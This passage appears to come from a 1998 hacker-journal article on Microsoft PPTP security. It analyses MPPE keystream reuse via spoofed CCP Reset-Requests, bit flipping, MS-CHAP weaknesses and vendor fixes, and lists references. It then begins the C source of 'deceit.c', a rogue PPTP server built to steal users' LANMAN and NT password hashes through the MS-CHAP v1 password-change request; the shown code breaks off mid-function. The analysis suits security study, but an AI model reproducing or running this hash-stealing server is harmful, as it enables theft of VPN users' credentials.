time the low order byte of the coherency count equals 0xFF (every 256 packets)
|
|||
|
the session key is regenerated based on the original session key and the
|
|||
|
current session key.
|
|||
|
|
|||
|
If MPPE ever sees a packet with a coherency that it is not expecting it
|
|||
|
sends a CCP Reset-Request packet to the other end. The other end, upon seeing
|
|||
|
this packet, will re-initialize the RC4 tables using the current session key.
|
|||
|
The next packet it sends will have the flushed bit set. This bit will
|
|||
|
indicate to the other end that it should re-initialize its own tables. In
|
|||
|
this way they become resynchronized. This mode of operation is called
|
|||
|
"stateful mode" in the new MPPE draft.
|
|||
|
|
|||
|
What does this all mean to us? Well, it means we can force both ends of the
|
|||
|
connection to keep encrypting their packets with the same key until the low
|
|||
|
order sequence number reaches 0xFF. For example assume Alice and Bob have
|
|||
|
just set up the communication channel. They both have initialized their
|
|||
|
session keys and expect a packet with a coherency count of zero.
|
|||
|
|
|||
|
Alice -> Bob
|
|||
|
|
|||
|
Alice sends Bob a packet numbered zero encrypted with the cipher stream
|
|||
|
generated by the RC4 cipher and increments her sent coherency count to one.
|
|||
|
Bob receives the packet, decrypts it, and increments his receive coherency
|
|||
|
count to 1.
|
|||
|
|
|||
|
Mallory (Bob) -> Alice
|
|||
|
|
|||
|
Mallory sends Alice a spoofed (remember this is datagram protocol - assuming
|
|||
|
we don't desynchronize GRE) CCP Reset-Request packet. Alice immediately
|
|||
|
re-initializes her RC4 tables to their original state.
|
|||
|
|
|||
|
Alice -> Bob
|
|||
|
|
|||
|
Alice sends another packet to Bob. This packet will be encrypted with the
|
|||
|
same cipherstream as the last packet. The packet will also have the FLUSHED
|
|||
|
bit set. This will make Bob re-initialize its own RC4 tables.
|
|||
|
|
|||
|
Mallory can continue to play this game up to a total of 256 times after
|
|||
|
which the session key will be changed. By this point Mallory will have
|
|||
|
collected 256 packets from Alice to Bob all encrypted with the same cipher
|
|||
|
stream.
|
|||
|
|
|||
|
Furthermore, since Alice and Bob start with the same session key in each
|
|||
|
direction Mallory can play the same game in the opposite direction collecting
|
|||
|
another 256 packets encrypted with the same cipher stream as the ones going
|
|||
|
from Alice to Bob.
|
|||
|
|
|||
|
The Apr 1998 version of the draft adds a "stateless mode" option (otherwise
|
|||
|
known as "historyless mode" in some Microsoft literature) to the negotiation
|
|||
|
packets. This option tells MPPE to change the session key after every packet
|
|||
|
and to ignore all this CCP Reset-Request and flushed bit business. This
|
|||
|
option was introduced to improve PPTP's performance. Although re-keying
|
|||
|
after each packet cuts the cipher performance by almost half, now PPTP no
|
|||
|
longer has to wait a whole round trip time to resynchronize. This, in effect
|
|||
|
improves the performance of PPTP and at the same time made the attack I
|
|||
|
describe above useless.
|
|||
|
|
|||
|
This new stateless mode was incorporated in the PPTP Performance Update for
|
|||
|
Windows NT 4.0 (PPTP2-FIX).
|
|||
|
|
|||
|
|
|||
|
< Bit Flipping >
|
|||
|
|
|||
|
Schneier and Mudge describe a bit flipping attack in their paper. Because of
|
|||
|
the properties of the RC4 cipher as used within MPPE an attacker can flip
|
|||
|
bits in the ciphertext that will be decrypted correctly by MPPE. In this way
|
|||
|
an attacker can modify encrypted packets while they are in transit.
|
|||
|
|
|||
|
|
|||
|
-[ i m p l e m e n t a t i o n b u g s ]-
|
|||
|
|
|||
|
Schneier and Mudge describe a number of implementation bugs in Microsoft's
|
|||
|
PPTP control channel that crashed Windows NT with the Blue Screen of Death.
|
|||
|
Keving Wormington has found similar problem as posted some demonstration
|
|||
|
code to the BugTraq mailing list in Nov 1997. Microsoft claims to have fixed
|
|||
|
this or similar problems in their PPTP-FIX hotfix.
|
|||
|
|
|||
|
Schneier and Mudge also found that the Windows 95 client does not zero fill
|
|||
|
its buffers and leaks information in its protocol packets.
|
|||
|
|
|||
|
A bug in the PPTP server allows clients to remain connected while packets
|
|||
|
are transmitted in the clear if the encryption negotiation between the
|
|||
|
client and server fails. This problem is documented in Microsoft's Knowledge
|
|||
|
Base article Q177670. They claim to have fixed it in the PPTP-FIX hotfix.
|
|||
|
|
|||
|
-[ f i x i n g t h i n g s ]-
|
|||
|
|
|||
|
It is interesting to note that Microsoft has chosen to omit certain
|
|||
|
vulnerabilities from their response to the Counterpane paper. Let's summarize
|
|||
|
them here so they don't get confused:
|
|||
|
|
|||
|
---> The control connection is not authenticated.
|
|||
|
|
|||
|
Microsoft claims they will enhance the control channel in future updates
|
|||
|
to authenticate each control packet.
|
|||
|
|
|||
|
---> The MS-CHAP LANMAN hash response is vulnerable to a dictionary attack
|
|||
|
---| that can be speed up enormously.
|
|||
|
|
|||
|
The PPTP Performance Update for Windows NT 4.0 has added the option
|
|||
|
to reject PPTP clients that attempt to use the LANMAN based response.
|
|||
|
It also stops the Windows NT PPTP client from sending the LANMAN
|
|||
|
based response when it is configured to require 128-bit encryption.
|
|||
|
This is of little comfort to non-US customers that cannot use the
|
|||
|
128-bit version of the software. Microsoft claims to be testing
|
|||
|
a Windows 95 client update, possibly DUN 1.3, that will stop clients
|
|||
|
from sending the LANMAN response. The only way for Microsoft to
|
|||
|
completely get rid of the 40-bit LANMAN hash based key and support
|
|||
|
non-US customers is for them to implement the 40-bit NT hash based
|
|||
|
session key introduced in the second MPPE draft.
|
|||
|
|
|||
|
---> The MS-CHAP NT hash response is vulnerable to a dictionary attack.
|
|||
|
|
|||
|
They must not use the password for authentication. Some sort of
|
|||
|
public key protocol would fix the problem.
|
|||
|
|
|||
|
---> A attacker can steal a users password hashes via the MS-CHAP password
|
|||
|
---| change protocol version one.
|
|||
|
|
|||
|
They update all the clients to stop responding to password change
|
|||
|
requests using version one of the protocol.
|
|||
|
|
|||
|
---> The 40-bit LANMAN hash based session key is the same across sessions.
|
|||
|
---> MPPE does not provide true 128-bit or 40-bit security.
|
|||
|
|
|||
|
Microsoft simply recommends that customers enforce a strong password
|
|||
|
policy. They should instead modify PPTP to generate truly random
|
|||
|
keys.
|
|||
|
|
|||
|
---> MPPE does not encrypt Network Control Protocol PPP packets.
|
|||
|
|
|||
|
NCP packets should be encrypted.
|
|||
|
|
|||
|
---> MPPE uses the same key in both directions.
|
|||
|
|
|||
|
Each direction must be started with a different key.
|
|||
|
|
|||
|
---> MPPE is vulnerable to a Reset-Request attack.
|
|||
|
|
|||
|
Microsoft has fixed this problem in the latest PPTP draft by introducing
|
|||
|
the stateless mode. The PPTP Performance Update for Windows NT 4.0
|
|||
|
implements this mode of operation. There is no solution for Windows 95 yet.
|
|||
|
This means that if you have Windows 95 PPTP clients you are still vulnerable.
|
|||
|
|
|||
|
---> MPPE is vulnerable to bit flipping attacks.
|
|||
|
|
|||
|
They must add a MAC to each packet or use a cipher other than RC4 that
|
|||
|
does not exhibit this property.
|
|||
|
|
|||
|
---> There are a number of denial of service and other vulnerabilities
|
|||
|
---| caused by implementation errors.
|
|||
|
|
|||
|
Microsoft claims to have fixed some of this problems with
|
|||
|
PPTP-FIX and PPTP2-FIX.
|
|||
|
|
|||
|
At least Microsoft should produce an Windows NT and Windows 95 PPTP update
|
|||
|
that does not use the same session keys in each direction, that does not
|
|||
|
support MS-CHAP password change protocol version one, does not send the send
|
|||
|
to LANMAN based response and supports the 40-bit NT hash based session key.
|
|||
|
|
|||
|
|
|||
|
-[ f u t u r e d i r e c t i o n s ]-
|
|||
|
|
|||
|
Microsoft's VPN strategy appears to be moving away from PPTP and going to
|
|||
|
Layer Two Tunneling Protocol (L2TP) and IPsec. L2TP (currently an IETF
|
|||
|
draft) is a compromise between Cisco's Layer Two Forwarding (L2F), (a
|
|||
|
competing protocol) and PPTP. This is certain to take a long time and they
|
|||
|
will probably support PPTP for backwards compatibility.
|
|||
|
|
|||
|
L2TP is somewhat similar to PPTP. L2TP uses UDP instead of GRE to tunnel the
|
|||
|
PPP packets. Connection setup and control packets are carried within UDP.
|
|||
|
The protocol provides for the authentication of the control session via a
|
|||
|
shared secret and a challenge/response exchange. It also provides the for
|
|||
|
the hiding of sensitive information, such as username and password, by
|
|||
|
encrypting it.
|
|||
|
|
|||
|
Other than those simply security mechanism L2TP does not provide any
|
|||
|
security. To operate L2TP in a secure manner you must use it with either
|
|||
|
IPsec to provide authentication and confidentiality of all IP packets, or by
|
|||
|
using PPP layer security. If the former is chosen beware that the control
|
|||
|
packets can be spoofed after the authentication phase.
|
|||
|
|
|||
|
If Microsoft decides to go with the later choice (possible because Windows
|
|||
|
98 will not have support for IPsec), they are well advised not to use MPPE
|
|||
|
and MS-CHAP as this would make L2TP almost as vulnerable as PPTP. They would
|
|||
|
do better implementing ECP and some of the PPP Extensible Authentication
|
|||
|
Protocol (RFC 2284) options.
|
|||
|
|
|||
|
For a discussion of L2TP security read the Security Considerations section
|
|||
|
of the L2TP draft.
|
|||
|
|
|||
|
|
|||
|
-[ m i s c e l l a n e o u s ]-
|
|||
|
|
|||
|
The are a few interesting projects related to PPTP.
|
|||
|
|
|||
|
-> Linux PPTP Masquerading
|
|||
|
< http://bmrc.berkeley.edu/people/chaffee/linux_pptp.html >
|
|||
|
|
|||
|
Here you will find patches to the Linux kernel to support masquerading of
|
|||
|
PPTP connections.
|
|||
|
|
|||
|
-> PPTP Client for Linux
|
|||
|
< http://www.pdos.lcs.mit.edu/~cananian/Projects/PPTP/ >
|
|||
|
|
|||
|
Here you will find a free PPTP client implementation for Linux that should
|
|||
|
be easy to port to other platforms.
|
|||
|
|
|||
|
|
|||
|
-[ s u m m a r y ]-
|
|||
|
|
|||
|
PPTP is a layer two tunneling protocol designed by Microsoft and some other
|
|||
|
vendors. The protocol and in particular Microsoft's implementation have a
|
|||
|
number of vulnerabilities not completely fixed by the their latest software
|
|||
|
patches and draft revisions.
|
|||
|
|
|||
|
PPTP will most likely stop most amateurs but by no means provides air tight
|
|||
|
security. If you have some serious security needs we recommend you look at
|
|||
|
some other solution.
|
|||
|
|
|||
|
The Layer Two Tunneling Protocol being defined within the IETF evolved from
|
|||
|
PPTP and Cisco's Layer Two Forwarding. It has obviously benefited from the
|
|||
|
peer review it has had within the IETF as it looks like much better protocol
|
|||
|
than PPTP. If combined with IPsec, L2TP looks like a promising solution.
|
|||
|
|
|||
|
|
|||
|
-[ r e f e r e n c e s ]-
|
|||
|
|
|||
|
Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol (PPTP)
|
|||
|
by B. Schneier and P. Mudge
|
|||
|
< http://www.counterpane.com/pptp.html >
|
|||
|
|
|||
|
Generic Routing Encapsulation (GRE) (RFC 1701)
|
|||
|
< ftp://ds.internic.net/rfc/rfc1701.txt >
|
|||
|
|
|||
|
Generic Routing Encapsulation over IPv4 networks (RFC 1702)
|
|||
|
< ftp://ds.internic.net/rfc/rfc1702.txt >
|
|||
|
|
|||
|
Layer Two Tunneling Protocol "L2TP" (May 1996)
|
|||
|
< http://www.ietf.org/internet-drafts/draft-ietf-pppext-l2tp-11.txt >
|
|||
|
|
|||
|
Microsoft Point-To-Point Encryption (MPPE) Protocol (March 1998)
|
|||
|
< http://www.apocalypse.org/pub/internet-drafts/draft-ietf-pppext-mppe-00.txt >
|
|||
|
|
|||
|
Microsoft Point-To-Point Encryption (MPPE) Protocol (April 1998)
|
|||
|
< http://www.ietf.org/internet-drafts/draft-ietf-pppext-mppe-01.txt >
|
|||
|
|
|||
|
Microsoft PPP CHAP Extensions
|
|||
|
< http://www.ietf.org/internet-drafts/draft-ietf-pppext-mschap-00.txt >
|
|||
|
|
|||
|
Point-to-Point Tunneling Protocol
|
|||
|
< http://www.microsoft.com/communications/pptp.htm >
|
|||
|
|
|||
|
Point-to-Point Tunneling Protocol (PPTP) Technical Specification (Feb, 22 1996)
|
|||
|
< http://hooah.com/workshop/prog/prog-gen/pptp.htm >
|
|||
|
|
|||
|
Point-to-Point Tunneling Protocol--PPTP (Draft July 1997)
|
|||
|
< http://www.microsoft.com/communications/exes/draft-ietf-pppext-pptp-01.txt >
|
|||
|
|
|||
|
PPTP and Implementation of Microsoft Virtual Private Networking
|
|||
|
< http://www.microsoft.com/communications/nrpptp.htm >
|
|||
|
|
|||
|
PPTP Performance Update for Windows NT 4.0 Release Notes
|
|||
|
< http://support.microsoft.com/support/kb/articles/q167/0/40.asp >
|
|||
|
|
|||
|
PPTP Security - An Update
|
|||
|
< http://www.microsoft.com/communications/pptpfinal.htm >
|
|||
|
|
|||
|
RRAS Does Not Enforce String Encryption for DUN Clients
|
|||
|
< http://support.microsoft.com/support/kb/articles/q177/6/70.asp >
|
|||
|
|
|||
|
STOP 0x0000000A in Raspptpe.sys on a Windows NT PPTP Server
|
|||
|
< http://support.microsoft.com/support/kb/articles/q179/1/07.asp >
|
|||
|
|
|||
|
The Point-to-Point Protocol (PPP) (RFC 1661)
|
|||
|
< ftp://ftp.isi.edu/in-notes/rfc1661.txt >
|
|||
|
|
|||
|
The PPP DES Encryption Protocol (DESE) (RFC 1969)
|
|||
|
< ftp://ftp.isi.edu/in-notes/rfc1969.txt >
|
|||
|
|
|||
|
The PPP Encryption Control Protocol (ECP) (RFC 1968)
|
|||
|
< ftp://ftp.isi.edu/in-notes/rfc1968.txt >
|
|||
|
|
|||
|
The PPP Internetwork Packet Exchange Control Protocol (IPXCP) 9rFC 1552)
|
|||
|
< ftp://ftp.isi.edu/in-notes/rfc1552.txt >
|
|||
|
|
|||
|
The PPP NetBIOS Frames Control Protocol (NBFCP) (RFC 2097)
|
|||
|
< ftp://ftp.isi.edu/in-notes/rfc2097.txt >
|
|||
|
|
|||
|
---------------------8<------------CUT-HERE----------->8---------------------
|
|||
|
|
|||
|
<++> PPTP/deceit.c
|
|||
|
/*
|
|||
|
* deceit.c by Aleph One
|
|||
|
*
|
|||
|
* This program implements enough of the PPTP protocol to steal the
|
|||
|
* password hashes of users that connect to it by asking them to change
|
|||
|
* their password via the MS-CHAP password change protocol version 1.
|
|||
|
*
|
|||
|
* The GRE code, PPTP structures and defines were shamelessly stolen from
|
|||
|
* C. Scott Ananian's <cananian@alumni.princeton.edu> Linux PPTP client
|
|||
|
* implementation.
|
|||
|
*
|
|||
|
* This code has been tested to work againts Windows NT 4.0 with the
|
|||
|
* PPTP Performance Update. If the user has selected to use the same
|
|||
|
* username and password as the account they are currently logged in
|
|||
|
* but enter a different old password when the PPTP client password
|
|||
|
* change dialog box appears the client will send the hash for a null
|
|||
|
* string for both the old LANMAN hash and old NT hash.
|
|||
|
*
|
|||
|
* You must link this program against libdes. Email messages asking how
|
|||
|
* to do so will go to /dev/null.
|
|||
|
*
|
|||
|
* Define BROKEN_RAW_CONNECT if your system does not know how to handle
|
|||
|
* connect() on a raw socket. Normally if you use connect with a raw
|
|||
|
* socket you should only get from the socket IP packets with the
|
|||
|
* source address that you specified to connect(). Under HP-UX using
|
|||
|
* connect makes read never to return. By not using connect we
|
|||
|
* run the risk of confusing the GRE decapsulation process if we receive
|
|||
|
* GRE packets from more than one source at the same time.
|
|||
|
*/
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <sys/time.h>
|
|||
|
#include <netinet/in.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <signal.h>
|
|||
|
#include <unistd.h>
|
|||
|
|
|||
|
#include "des.h"
|
|||
|
|
|||
|
#ifdef __hpux__
|
|||
|
#define u_int8_t uint8_t
|
|||
|
#define u_int16_t uint16_t
|
|||
|
#define u_int32_t uint32_t
|
|||
|
#endif
|
|||
|
|
|||
|
/* define these as appropiate for your architecture */
|
|||
|
#define hton8(x) (x)
|
|||
|
#define ntoh8(x) (x)
|
|||
|
#define hton16(x) htons(x)
|
|||
|
#define ntoh16(x) ntohs(x)
|
|||
|
#define hton32(x) htonl(x)
|
|||
|
#define ntoh32(x) ntohl(x)
|
|||
|
|
|||
|
#define PPTP_MAGIC 0x1A2B3C4D /* Magic cookie for PPTP datagrams */
|
|||
|
#define PPTP_PORT 1723 /* PPTP TCP port number */
|
|||
|
#define PPTP_PROTO 47 /* PPTP IP protocol number */
|
|||
|
|
|||
|
#define PPTP_MESSAGE_CONTROL 1
|
|||
|
#define PPTP_MESSAGE_MANAGE 2
|
|||
|
|
|||
|
#define PPTP_VERSION_STRING "1.00"
|
|||
|
#define PPTP_VERSION 0x100
|
|||
|
#define PPTP_FIRMWARE_STRING "0.01"
|
|||
|
#define PPTP_FIRMWARE_VERSION 0x001
|
|||
|
|
|||
|
/* (Control Connection Management) */
|
|||
|
#define PPTP_START_CTRL_CONN_RQST 1
|
|||
|
#define PPTP_START_CTRL_CONN_RPLY 2
|
|||
|
#define PPTP_STOP_CTRL_CONN_RQST 3
|
|||
|
#define PPTP_STOP_CTRL_CONN_RPLY 4
|
|||
|
#define PPTP_ECHO_RQST 5
|
|||
|
#define PPTP_ECHO_RPLY 6
|
|||
|
|
|||
|
/* (Call Management) */
|
|||
|
#define PPTP_OUT_CALL_RQST 7
|
|||
|
#define PPTP_OUT_CALL_RPLY 8
|
|||
|
#define PPTP_IN_CALL_RQST 9
|
|||
|
#define PPTP_IN_CALL_RPLY 10
|
|||
|
#define PPTP_IN_CALL_CONNECT 11
|
|||
|
#define PPTP_CALL_CLEAR_RQST 12
|
|||
|
#define PPTP_CALL_CLEAR_NTFY 13
|
|||
|
|
|||
|
/* (Error Reporting) */
|
|||
|
#define PPTP_WAN_ERR_NTFY 14
|
|||
|
|
|||
|
/* (PPP Session Control) */
|
|||
|
#define PPTP_SET_LINK_INFO 15
|
|||
|
|
|||
|
/* (Framing capabilities for msg sender) */
|
|||
|
#define PPTP_FRAME_ASYNC 1
|
|||
|
#define PPTP_FRAME_SYNC 2
|
|||
|
#define PPTP_FRAME_ANY 3
|
|||
|
|
|||
|
/* (Bearer capabilities for msg sender) */
|
|||
|
#define PPTP_BEARER_ANALOG 1
|
|||
|
#define PPTP_BEARER_DIGITAL 2
|
|||
|
#define PPTP_BEARER_ANY 3
|
|||
|
|
|||
|
struct pptp_header {
|
|||
|
u_int16_t length; /* message length in octets, including header */
|
|||
|
u_int16_t pptp_type; /* PPTP message type. 1 for control message. */
|
|||
|
u_int32_t magic; /* this should be PPTP_MAGIC. */
|
|||
|
u_int16_t ctrl_type; /* Control message type (0-15) */
|
|||
|
u_int16_t reserved0; /* reserved. MUST BE ZERO. */
|
|||
|
};
|
|||
|
|
|||
|
struct pptp_start_ctrl_conn { /* for control message types 1 and 2 */
|
|||
|
struct pptp_header header;
|
|||
|
|
|||
|
u_int16_t version; /* PPTP protocol version. = PPTP_VERSION */
|
|||
|
u_int8_t result_code; /* these two fields should be zero on rqst msg*/
|
|||
|
u_int8_t error_code; /* 0 unless result_code==2 (General Error) */
|
|||
|
u_int32_t framing_cap; /* Framing capabilities */
|
|||
|
u_int32_t bearer_cap; /* Bearer Capabilities */
|
|||
|
u_int16_t max_channels; /* Maximum Channels (=0 for PNS, PAC ignores) */
|
|||
|
u_int16_t firmware_rev; /* Firmware or Software Revision */
|
|||
|
u_int8_t hostname[64]; /* Host Name (64 octets, zero terminated) */
|
|||
|
u_int8_t vendor[64]; /* Vendor string (64 octets, zero term.) */
|
|||
|
/* MS says that end of hostname/vendor fields should be filled with */
|
|||
|
/* octets of value 0, but Win95 PPTP driver doesn't do this. */
|
|||
|
};
|
|||
|
|
|||
|
struct pptp_out_call_rqst { /* for control message type 7 */
|
|||
|
struct pptp_header header;
|
|||
|
u_int16_t call_id; /* Call ID (unique id used to multiplex data) */
|
|||
|
u_int16_t call_sernum; /* Call Serial Number (used for logging) */
|
|||
|
u_int32_t bps_min; /* Minimum BPS (lowest acceptable line speed) */
|
|||
|
u_int32_t bps_max; /* Maximum BPS (highest acceptable line speed) */
|
|||
|
u_int32_t bearer; /* Bearer type */
|
|||
|
u_int32_t framing; /* Framing type */
|
|||
|
u_int16_t recv_size; /* Recv. Window Size (no. of buffered packets) */
|
|||
|
u_int16_t delay; /* Packet Processing Delay (in 1/10 sec) */
|
|||
|
u_int16_t phone_len; /* Phone Number Length (num. of valid digits) */
|
|||
|
u_int16_t reserved1; /* MUST BE ZERO */
|
|||
|
u_int8_t phone_num[64]; /* Phone Number (64 octets, null term.) */
|
|||
|
u_int8_t subaddress[64]; /* Subaddress (64 octets, null term.) */
|
|||
|
};
|
|||
|
|
|||
|
struct pptp_out_call_rply { /* for control message type 8 */
|
|||
|
struct pptp_header header;
|
|||
|
u_int16_t call_id; /* Call ID (used to multiplex data over tunnel)*/
|
|||
|
u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst)*/
|
|||
|
u_int8_t result_code; /* Result Code (1 is no errors) */
|
|||
|
u_int8_t error_code; /* Error Code (=0 unless result_code==2) */
|
|||
|
u_int16_t cause_code; /* Cause Code (addt'l failure information) */
|
|||
|
u_int32_t speed; /* Connect Speed (in BPS) */
|
|||
|
u_int16_t recv_size; /* Recv. Window Size (no. of buffered packets) */
|
|||
|
u_int16_t delay; /* Packet Processing Delay (in 1/10 sec) */
|
|||
|
u_int32_t channel; /* Physical Channel ID (for logging) */
|
|||
|
};
|
|||
|
|
|||
|
|
|||
|
struct pptp_set_link_info { /* for control message type 15 */
|
|||
|
struct pptp_header header;
|
|||
|
u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst) */
|
|||
|
u_int16_t reserved1; /* MUST BE ZERO */
|
|||
|
u_int32_t send_accm; /* Send ACCM (for PPP packets; default 0xFFFFFFFF)*/
|
|||
|
u_int32_t recv_accm; /* Receive ACCM (for PPP pack.;default 0xFFFFFFFF)*/
|
|||
|
};
|
|||
|
|
|||
|
#define PPTP_GRE_PROTO 0x880B
|
|||
|
#define PPTP_GRE_VER 0x1
|
|||
|
|
|||
|
#define PPTP_GRE_FLAG_C 0x80
|
|||
|
#define PPTP_GRE_FLAG_R 0x40
|
|||
|
#define PPTP_GRE_FLAG_K 0x20
|
|||
|
#define PPTP_GRE_FLAG_S 0x10
|
|||
|
#define PPTP_GRE_FLAG_A 0x80
|
|||
|
|
|||
|
#define PPTP_GRE_IS_C(f) ((f)&PPTP_GRE_FLAG_C)
|
|||
|
#define PPTP_GRE_IS_R(f) ((f)&PPTP_GRE_FLAG_R)
|
|||
|
#define PPTP_GRE_IS_K(f) ((f)&PPTP_GRE_FLAG_K)
|
|||
|
#define PPTP_GRE_IS_S(f) ((f)&PPTP_GRE_FLAG_S)
|
|||
|
#define PPTP_GRE_IS_A(f) ((f)&PPTP_GRE_FLAG_A)
|
|||
|
|
|||
|
struct pptp_gre_header {
|
|||
|
u_int8_t flags; /* bitfield */
|
|||
|
u_int8_t ver; /* should be PPTP_GRE_VER (enhanced GRE) */
|
|||
|
u_int16_t protocol; /* should be PPTP_GRE_PROTO (ppp-encaps) */
|
|||
|
u_int16_t payload_len; /* size of ppp payload, not inc. gre header */
|
|||
|
u_int16_t call_id; /* peer's call_id for this session */
|
|||
|
u_int32_t seq; /* sequence number. Present if S==1 */
|
|||
|
u_int32_t ack; /* seq number of highest packet recieved by */
|
|||
|
/* sender in this session */
|
|||
|
};
|
|||
|
|
|||
|
#define PACKET_MAX 8196
|
|||
|
|
|||
|
static u_int32_t ack_sent, ack_recv;
|
|||
|
static u_int32_t seq_sent, seq_recv;
|
|||
|
static u_int16_t pptp_gre_call_id;
|
|||
|
|
|||
|
#define PPP_ADDRESS 0xFF
|
|||
|
#define PPP_CONTROL 0x03
|
|||
|
|
|||
|
/* PPP Protocols */
|
|||
|
#define PPP_PROTO_LCP 0xc021
|
|||
|
#define PPP_PROTO_CHAP 0xc223
|
|||
|
|
|||
|
/* LCP Codes */
|
|||
|
#define PPP_LCP_CODE_CONF_RQST 1
|
|||
|
#define PPP_LCP_CODE_CONF_ACK 2
|
|||
|
#define PPP_LCP_CODE_IDENT 12
|
|||
|
|
|||
|
/* LCP Config Options */
|
|||
|
#define PPP_LCP_CONFIG_OPT_AUTH 3
|
|||
|
#define PPP_LCP_CONFIG_OPT_MAGIC 5
|
|||
|
#define PPP_LCP_CONFIG_OPT_PFC 7
|
|||
|
#define PPP_LCP_CONFIG_OPT_ACFC 8
|
|||
|
|
|||
|
/* Auth Algorithms */
|
|||
|
#define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP 0x80
|
|||
|
|
|||
|
/* CHAP Codes */
|
|||
|
#define PPP_CHAP_CODE_CHALLENGE 1
|
|||
|
#define PPP_CHAP_CODE_RESPONCE 2
|
|||
|
#define PPP_CHAP_CODE_SUCESS 3
|
|||
|
#define PPP_CHAP_CODE_FAILURE 4
|
|||
|
#define PPP_CHAP_CODE_MSCHAP_PASSWORD_V1 5
|
|||
|
#define PPP_CHAP_CODE_MSCHAP_PASSWORD_V2 6
|
|||
|
|
|||
|
#define PPP_CHAP_CHALLENGE_SIZE 8
|
|||
|
#define PPP_CHAP_RESPONCE_SIZE 49
|
|||
|
|
|||
|
#define MSCHAP_ERROR "E=648 R=0"
|
|||
|
|
|||
|
struct ppp_header {
|
|||
|
u_int8_t address;
|
|||
|
u_int8_t control;
|
|||
|
u_int16_t proto;
|
|||
|
};
|
|||
|
|
|||
|
struct ppp_lcp_chap_header {
|
|||
|
u_int8_t code;
|
|||
|
u_int8_t ident;
|
|||
|
u_int16_t length;
|
|||
|
};
|
|||
|
|
|||
|
struct ppp_lcp_packet {
|
|||
|
struct ppp_header ppp;
|
|||
|
struct ppp_lcp_chap_header lcp;
|
|||
|
};
|
|||
|
|
|||
|
struct ppp_lcp_chap_auth_option {
|
|||
|
u_int8_t type;
|
|||
|
u_int8_t length;
|
|||
|
u_int16_t auth_proto;
|
|||
|
u_int8_t algorithm;
|
|||
|
};
|
|||
|
|
|||
|
struct ppp_lcp_magic_option {
|
|||
|
u_int8_t type;
|
|||
|
u_int8_t length;
|
|||
|
u_int32_t magic;
|
|||
|
};
|
|||
|
|
|||
|
struct ppp_lcp_pfc_option {
|
|||
|
u_int8_t type;
|
|||
|
u_int8_t length;
|
|||
|
};
|
|||
|
|
|||
|
struct ppp_lcp_acfc_option {
|
|||
|
u_int8_t type;
|
|||
|
u_int8_t length;
|
|||
|
};
|
|||
|
|
|||
|
|
|||
|
struct ppp_chap_challenge {
|
|||
|
u_int8_t size;
|
|||
|
union {
|
|||
|
unsigned char challenge[8];
|
|||
|
struct {
|
|||
|
unsigned char lanman[24];
|
|||
|
unsigned char nt[24];
|
|||
|
u_int8_t flag;
|
|||
|
} responce;
|
|||
|
} value;
|
|||
|
/* name */
|
|||
|
};
|
|||
|
|
|||
|
struct ppp_mschap_change_password {
|
|||
|
char old_lanman[16];
|
|||
|
char new_lanman[16];
|
|||
|
char old_nt[16];
|
|||
|
char new_nt[16];
|
|||
|
u_int16_t pass_length;
|
|||
|
u_int16_t flags;
|
|||
|
};
|
|||
|
|
|||
|
#define ppp_chap_responce ppp_chap_challenge
|
|||
|
|
|||
|
void net_init();
|
|||
|
void getjiggywithit();
|
|||
|
void handleit(struct sockaddr_in *);
|
|||
|
void send_start_ctrl_conn_rply();
|
|||
|
void send_out_call_rply(struct pptp_out_call_rqst *, struct sockaddr_in *);
|
|||
|
int decaps_gre (int (*cb)(void *pack, unsigned len));
|
|||
|
int encaps_gre (void *pack, unsigned len);
|
|||
|
int do_ppp(void *pack, unsigned len);
|
|||
|
void do_gre(struct sockaddr_in *);
|
|||
|
void send_lcp_conf_rply(void *);
|
|||
|
void send_lcp_conf_rqst();
|
|||
|
void send_chap_challenge();
|
|||
|
void send_chap_failure();
|
|||
|
void print_challenge_responce(void *);
|
|||
|
void paydirt(void *);
|
|||
|
|
|||
|
|
|||
|
char *n;
|
|||
|
int sd, rsd, pid;
|
|||
|
|
|||
|
void main(int argc, char **argv)
|
|||
|
{
|
|||
|
n = argv[0];
|
|||
|
net_init();
|
|||
|
getjiggywithit();
|
|||
|
}
|
|||
|
|
|||
|
void net_init()
|
|||
|
{
|
|||
|
int yes = 1;
|
|||
|
struct sockaddr_in sa;
|
|||
|
|
|||
|
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror(n); exit(1); }
|
|||
|
if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) != 0)
|
|||
|
{
|
|||
|
perror(n);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
bzero((char *) &sa, sizeof(sa));
|
|||
|
sa.sin_family = AF_INET;
|
|||
|
sa.sin_port = htons(PPTP_PORT);
|
|||
|
sa.sin_addr.s_addr = htonl(INADDR_ANY);
|
|||
|
|
|||
|
if (bind(sd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror(n); exit(1); }
|
|||
|
|
|||
|
if (listen(sd, 5) < 0) { perror(n); exit(1); }
|
|||
|
}
|
|||
|
|
|||
|
void getjiggywithit()
|
|||
|
{
|
|||
|
struct sockaddr_in sa;
|
|||
|
int sucker, size;
|
|||
|
size = sizeof(sa);
|
|||
|
|
|||
|
|
|||
|
|
|||
|
if ((sucker = accept(sd, (struct sockaddr *)&sa, &size)) == -1)
|
|||
|
{
|
|||
|
perror(n);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
close(sd);
|
|||
|
sd = sucker;
|
|||
|
handleit(&sa);
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
|
|||
|
void handleit(struct sockaddr_in *sa)
|
|||
|
{
|
|||
|
union {
|
|||
|
struct pptp_header h;
|
|||
|
unsigned char buffer[8196];
|
|||
|
} p;
|
|||
|
int hlen, len, type;
|
|||
|
|
|||
|
hlen = sizeof(struct pptp_header);
|
|||
|
|
|||
|
for(;;)
|
|||
|
{
|
|||
|
len = read(sd, p.buffer, hlen);
|
|||
|
if (len == -1) { perror(n); exit(1); }
|
|||
|
if (len != hlen) { printf("Short read.\n"); exit(1); }
|
|||
|
|
|||
|
len = read(sd, p.buffer + hlen, ntoh16(p.h.length) - hlen);
|
|||
|
if (len == -1) { perror(n); exit(1); }
|
|||
|
if (len != (ntoh16(p.h.length) - hlen)) {printf("Short read.\n"); exit(1);}
|
|||
|
